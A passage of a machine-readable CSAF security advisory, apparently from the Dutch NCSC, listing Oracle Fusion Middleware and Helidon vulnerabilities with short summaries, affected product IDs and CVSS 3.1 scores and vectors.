"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-70908"
},
{
"cve": "CVE-2026-70923",
"notes": [
{
"category": "description",
"text": "A vulnerability in Oracle Fusion Middleware Helidon 3.2.19 allows unauthenticated network attackers to exploit it via HTTP, potentially leading to unauthorized data access and modification, with a CVSS 3.1 base score of 6.1.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-70923 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-70923.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 6.1,
"baseSeverity": "MEDIUM",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-70923"
},
{
"cve": "CVE-2026-70924",
"notes": [
{
"category": "description",
"text": "A critical vulnerability in Oracle Web Services Manager versions 12.2.1.4.0 and 14.1.2.0.0 allows unauthenticated remote attackers to compromise system confidentiality, integrity, and availability via HTTPS, with a CVSS 3.1 score of 8.1.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-70924 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-70924.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 8.1,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-70924"
},
{
"cve": "CVE-2026-70970",
"notes": [
{
"category": "description",
"text": "A critical unauthenticated remote code execution vulnerability in Oracle WebCenter Portal versions 12.2.1.4.0 and 14.1.2.0.0 has a CVSS 3.1 base score of 9.8, severely impacting confidentiality, integrity, and availability.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-70970 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-70970.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 9.8,
"baseSeverity": "CRITICAL",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-70970"
},
{
"cve": "CVE-2026-71029",
"notes": [
{
"category": "description",
"text": "A vulnerability in Oracle Fusion Middleware Helidon 3.2.18 allows unauthenticated network attackers via HTTP to potentially access critical or all Helidon data, with a CVSS 3.1 base score of 6.8 indicating moderate confidentiality impact.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-71029 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-71029.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 6.8,
"baseSeverity": "MEDIUM",
"vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:N/A:N",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-71029"
},
{
"cve": "CVE-2026-71065",
"notes": [
{
"category": "description",
"text": "A critical vulnerability in Oracle Fusion Middleware Helidon 3.2.18 allows unauthenticated remote attackers to gain unauthorized access and modify data, with a CVSS 3.1 base score of 9.3.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-71065 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-71065.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 9.3,
"baseSeverity": "CRITICAL",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-71065"
},
{
"cve": "CVE-2026-71074",
"notes": [
{
"category": "description",
"text": "A critical unauthenticated remote code execution vulnerability in Oracle Fusion Middleware\u0027s Helidon 3.2.18 with a CVSS 3.1 score of 9.8 allows full system compromise via HTTP, severely impacting confidentiality, integrity, and availability.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-71074 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-71074.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 9.8,
"baseSeverity": "CRITICAL",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-71074"
},
{
"cve": "CVE-2026-71110",
"notes": [
{
"category": "description",
"text": "A critical vulnerability in Oracle Fusion Middleware Helidon 4.5.0 allows low-privileged attackers with HTTPS network access to create, delete, or modify critical data, with a CVSS 3.1 base score of 8.1 indicating high confidentiality and integrity impact.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-71110 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-71110.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 8.1,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-71110"
},
{
"cve": "CVE-2026-71111",
"notes": [
{
"category": "description",
"text": "A critical vulnerability in Oracle Identity Manager versions 12.2.1.4.0 and 14.1.2.1.0 allows low-privileged attackers with infrastructure access to fully compromise the system, with a CVSS 3.1 base score of 7.8.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-71111 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-71111.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 7.8,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-71111"
},
{
"cve": "CVE-2026-71124",
"notes": [
{
"category": "description",
"text": "A vulnerability in Oracle Access Manager versions 12.2.1.4.0 and 14.1.2.1.0 allows a low-privileged attacker with network access to cause a partial denial of service, rated with a CVSS 3.1 base score of 4.3.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-71124 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-71124.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 4.3,
"baseSeverity": "MEDIUM",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-71124"
},
{
"cve": "CVE-2026-71152",
"notes": [
{
"category": "description",
"text": "A critical unauthenticated remote code execution vulnerability in Oracle Fusion Middleware Helidon 4.5.0 with a CVSS 3.1 base score of 9.8 allows full system compromise via HTTP.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-71152 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-71152.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 9.8,
"baseSeverity": "CRITICAL",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-71152"
},
{
"cve": "CVE-2026-71153",
"notes": [
{
"category": "description",
"text": "A denial of service vulnerability in Oracle Fusion Middleware\u0027s Helidon 1.4.20 allows unauthenticated attackers with HTTP access to hang or crash the server, rated CVSS 3.1 base score 7.5 for availability impact.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-71153 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-71153.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 7.5,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-71153"
},
{
"cve": "CVE-2026-71154",
"notes": [
{
"category": "description",
"text": "A vulnerability in Oracle Fusion Middleware Helidon 4.5.0 allows a low-privileged attacker with infrastructure access to compromise the system, potentially leading to unauthorized data access and modification, with a CVSS 3.1 base score of 6.1.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-71154 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-71154.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 6.1,
"baseSeverity": "MEDIUM",
"vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-71154"
},
{
"cve": "CVE-2026-71155",
"notes": [
{
"category": "description",
"text": "A critical vulnerability in Oracle Fusion Middleware Helidon 3.2.18 allows low-privileged attackers with HTTP network access to gain unauthorized access and modify data, with a CVSS 3.1 base score of 8.5.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-71155 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-71155.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 8.5,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-71155"
},
{
"cve": "CVE-2026-71156",
"notes": [
{
"category": "description",
"text": "A vulnerability in Oracle Fusion Middleware Helidon 3.2.19 allows unauthenticated attackers with HTTP network access to perform unauthorized data modifications, rated with a CVSS 3.1 base score of 5.3 indicating an integrity impact.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-71156 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-71156.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 5.3,
"baseSeverity": "MEDIUM",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-71156"
},
{
"cve": "CVE-2026-71157",
"notes": [
{
"category": "description",
"text": "A vulnerability in Oracle Fusion Middleware Helidon 4.5.0 allows unauthenticated attackers with HTTP network access to gain unauthorized read access to certain data, rated with a CVSS 3.1 base score of 5.3.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-71157 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-71157.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 5.3,
"baseSeverity": "MEDIUM",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-71157"
},
{
"cve": "CVE-2026-71158",
"notes": [
{
"category": "description",
"text": "A critical vulnerability in Oracle Fusion Middleware\u0027s Helidon 3.2.18 allows unauthenticated attackers with HTTP network access to gain unauthorized access to sensitive data, rated with a CVSS 3.1 base score of 7.5.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-71158 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-71158.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 7.5,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-71158"
},
{
"cve": "CVE-2026-71159",
"notes": [
{
"category": "description",
"text": "A critical vulnerability in Oracle Fusion Middleware Helidon 3.2.18 allows unauthenticated remote attackers to gain unauthorized access and modify critical data, with a CVSS 3.1 base score of 8.2.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-71159 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-71159.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 8.2,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-71159"
},
{
"cve": "CVE-2026-71160",
"notes": [
{
"category": "description",
"text": "A high-severity vulnerability in Oracle Fusion Middleware Helidon 3.2.18 allows low-privileged attackers with HTTP network access to potentially compromise system confidentiality, integrity, and availability.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-71160 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-71160.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 7.5,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-71160"
},
{
"cve": "CVE-2026-71161",
"notes": [
{
"category": "description",
"text": "A vulnerability in Oracle Fusion Middleware Helidon 3.2.18 allows unauthenticated remote attackers to cause a partial denial of service via HTTP, with a CVSS 3.1 base score of 5.3.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
